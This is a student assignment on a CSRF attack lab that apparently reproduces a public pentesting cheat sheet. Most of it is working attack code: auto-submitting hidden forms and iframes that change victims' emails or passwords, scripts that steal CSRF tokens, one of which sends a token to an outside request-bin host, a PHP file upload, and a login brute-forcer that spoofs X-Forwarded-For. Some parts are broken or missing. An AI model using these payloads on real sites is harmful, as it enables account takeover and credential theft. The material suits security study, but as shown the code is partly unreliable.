

**Assignment**

**Information Security**

**Name Zaid Ali**

**BSCS-18-57**

**7 th semester morning**

**Cross-Site Request Forgery(CSRF) Attack Lab**

|  |  |  |
| --- | --- | --- |
| **Title** | **Author** | **Date** |
| Cross-Site Request Forgery (CSRF) Attack Lab | Zaid Ali | 11-11-2021 |

**Content-Type change**

According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:

* **application/x-www-form-urlencoded**
* **multipart/form-data**
* **text/plain**

However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **application/json*,*text/xml**, **application/xml***.*

**application/json preflight request bypass**

As you already know, you cannot sent a POST request with the Content-Type **application/json** via HTML form, and if you try to do so via **XMLHttpRequest** a **preflight** request is sent first.  
However, you could try to send the JSON data using the content types \*\*text/plain and application/x-www-form-urlencoded \*\*just to check if the backend is using the data independently of the Content-Type.  
You can send a form using Content-Type: text/plain setting **enctype="text/plain"**

You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).

**Referrer / Origin check bypass**

*Avoid Referrer header*

Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**.

<meta name="referrer" content="never">

*Regexp bypasses*

[https://hahwul.com](https://hahwul.com/) (O)

[https://hahwul.com?white\_domain\_com](https://hahwul.com/?white_domain_com) (O)

[https://hahwul.com;white\_domain\_com](https://hahwul.com;white_domain_com/) (O)

[https://hahwul.com/white\_domain\_com/../target.file](https://hahwul.com/target.file) (O)

[https://white\_domain\_com.hahwul.com](https://white_domain_com.hahwul.com/) (O)

[https://hahwulwhite\_domain\_com](https://hahwulwhite_domain_com/) (O)

[file://123.white\_domain\_com](file://\\123.white_domain_com\) (X)

[https://white\_domain\_com@hahwul.com](https://white_domain_com@hahwul.com/) (X)

[https://hahwul.com#white\_domain\_com](https://hahwul.com/#white_domain_com) (X)

[https://hahwul.com\.white\_domain\_com](https://hahwul.com/.white_domain_com) (X)

<https://hahwul.com/.white_domain_com> (X)

**Exploit Examples**

**Exfiltrating CSRF Token**

If a **CSRF token** is being used as \*\*defence \*\*you could try to \*\*exfiltrate it \*\*abusing a [**XSS**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/) vulnerability or a [**Dangling Markup**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/dangling-markup-html-scriptless-injection.md) vulnerability.

**GET using HTML tags**

<img src="http://google.es?param=VALUE" style="display:none" />

<h1>404 - Page not found</h1>

The URL you are requesting is no longer available

Other HTML5 tags that can be used to automatically send a GET request are:



**Form GET request**

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<script>history.pushState('', '', '/')</script>

<form method="GET" action="https://victim.net/email/change-email">

<input type="hidden" name="email" value="some@email.com" />

<input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

**Form POST request**

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="https://victim.net/email/change-email" id="csrfform">

<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->

<input type="submit" value="Submit request" />

<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->

</form>

<script>

document.forms[0].submit(); //Way 3 to autosubmit

</script>

</body>

</html>

**Form POST request through iframe**

<!--

The request is sent through the iframe withuot reloading the page

-->

<html>

<body>

<iframe style="display:none" name="csrfframe"></iframe>

<form action="/change-email" id="csrfform" target="csrfframe">

<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />

<input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

**Ajax POST request**

<script>

var xh;

if (window.XMLHttpRequest)

{// code for IE7+, Firefox, Chrome, Opera, Safari

xh=new XMLHttpRequest();

}

else

{// code for IE6, IE5

xh=new ActiveXObject("Microsoft.XMLHTTP");

}

xh.withCredentials = true;

xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");

xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)

xh.send("username=abcd&status=on");

</script>

<script>

//JQuery version

$.ajax({

type: "POST",

url: "[https://google.com](https://google.com/)",

data: "param=value&param2=value2"

})

</script>

**multipart/form-data POST request**

myFormData = new FormData();

var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});

myFormData.append("newAttachment", blob, "pwned.php");

fetch("http://example/some/path", {

method: "post",

body: myFormData,

credentials: "include",

headers: {"Content-Type": "application/x-www-form-urlencoded"},

mode: "no-cors"

});

**multipart/form-data POST request v2**

var fileSize = fileData.length,

boundary = "OWNEDBYOFFSEC",

xhr = new XMLHttpRequest();

xhr.withCredentials = true;

xhr.open("POST", url, true);

// MIME POST request.

xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);

xhr.setRequestHeader("Content-Length", fileSize);

var body = "--" + boundary + "\r\n";

body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';

body += "Content-Type: " + ctype + "\r\n\r\n";

body += fileData + "\r\n";

body += "--" + boundary + "--";

//xhr.send(body);

xhr.sendAsBinary(body);

**Form POST request from within an iframe**

<--! expl.html -->

<body onload="envia()">

<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia\_pwd.php">

<input type="text" id="pwd" name="pwd" value="otra nueva">

</form>

<body>

<script>

function envia(){document.getElementById("formulario").submit();}

</script>

<!-- public.html -->

<iframe src="2-1.html" style="position:absolute;top:-5000">

</iframe>

<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

**Steal CSRF Token and send a POST request**

function submitFormWithTokenJS(token) {

var xhr = new XMLHttpRequest();

xhr.open("POST", POST\_URL, true);

xhr.withCredentials = true;

// Send the proper header information along with the request

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed

xhr.onreadystatechange = function() {

if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {

//console.log(xhr.responseText);

}

}

xhr.send("token=" + token + "&otherparama=heyyyy");

}

function getTokenJS() {

var xhr = new XMLHttpRequest();

// This tels it to return it as a HTML document

xhr.responseType = "document";

xhr.withCredentials = true;

// true on the end of here makes the call asynchronous

xhr.open("GET", GET\_URL, true);

xhr.onload = function (e) {

if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {

// Get the document from the response

page = xhr.response

// Get the input element

input = page.getElementById("token");

// Show the token

//console.log("The token is: " + input.value);

// Use the token to submit the form

submitFormWithTokenJS(input.value);

}

};

// Make the request

xhr.send(null);

}

var GET\_URL="http://google.com?param=VALUE"

var POST\_URL="http://google.com?param=VALUE"

getTokenJS();

**Steal CSRF Token and send a Post request using an iframe, a form and Ajax**

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">

<input type="text" name="username" value="AA">

<input type="checkbox" name="status" checked="checked">

<input id="token" type="hidden" name="token" value="" />

</form>

<script type="text/javascript">

function f1(){

x1=document.getElementById("i1");

x1d=(x1.contentWindow||x1.contentDocument);

t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;

document.getElementById("form1").submit();

}

</script>

<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

**Steal CSRF Token and sen a POST request using an iframe and a form**

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>

function read()

{

var name = 'admin2';

var token = document.getElementById("iframe").contentDocument.forms[0].token.value;

document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');

document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');

document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');

document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');

document.writeln('</form>');

document.forms[0].submit.click();

}

</script>

**Steal token and send it using 2 iframes**

<script>

var token;

function readframe1(){

token = frame1.document.getElementById("profile").token.value;

document.getElementById("bypass").token.value = token

loadframe2();

}

function loadframe2(){

var test = document.getElementbyId("frame2");

test.src = "<http://requestb.in/1g6asbg1?token=>"+token;

}

</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"

sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"

height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"

sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"

height="600" width="800"></iframe>

<body onload="document.forms[0].submit()">

<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">

<input type="text" name="username" value="z">

<input type="checkbox" name="status" checked="">

<input id="token" type="hidden" name="token" value="0000" />

<button type="submit">Submit</button>

</form>

**POSTSteal CSRF token with Ajax and send a post with a form**

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">

<input type="hidden" name="username" value="root"/>

<input type="hidden" name="status" value="on"/>

<input type="hidden" id="findtoken" name="token" value=""/>

<input type="submit" value="valider"/>

</form>

<script>

var x = new XMLHttpRequest();

function getData() {

x.withCredentials = true;

x.open("GET","http://google.com?param=VALUE",true);

x.send(null);

}

x.onreadystatechange = function() {

if (x.readyState == XMLHttpRequest.DONE) {

var token = x.responseText.match(/name="token" value="(.+)"/)[1];

document.getElementById("findtoken").value = token;

document.getElementById("form").submit();

}

}

</script>

**CSRF with Socket.IO**

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>

<script>

let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {

console.log('connected!');

socket.emit('join', {

room: username

});

socket.emit('my\_room\_event', {

data: '!flag',

room: username

})

});

</script>

**CSRF Login Brute Force**

The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):

import request

import re

import random

URL = "<http://10.10.10.191/admin/>"

PROXY = { "http": "127.0.0.1:8080"}

SESSION\_COOKIE\_NAME = "BLUDIT-KEY"

USER = "fergus"

PASS\_LIST="./words"

def init\_session():

#Return CSRF + Session (cookie)

r = requests.get(URL)

csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]\*)"', r.text)

csrf = csrf.group(1)

session\_cookie = r.cookies.get(SESSION\_COOKIE\_NAME)

return csrf, session\_cookie

def login(user, password):

print(f"{user}:{password}")

csrf, cookie = init\_session()

cookies = {SESSION\_COOKIE\_NAME: cookie}

data = {

"tokenCSRF": csrf,

"username": user,

"password": password,

"save": ""

}

headers = {

"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"

}

r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)

if "Username or password incorrect" in r.text:

return False

else:

print(f"FOUND {user} : {password}")

return True

with open(PASS\_LIST, "r") as f:

for line in f:

login(USER, line.strip())

**Repository:**

[**https://github.com/mynameiszaid/Assignment-IS---Cross-Site-Request-Forgery-CSRF-Attack-Lab.docx**](https://github.com/mynameiszaid/Assignment-IS---Cross-Site-Request-Forgery-CSRF-Attack-Lab.docx)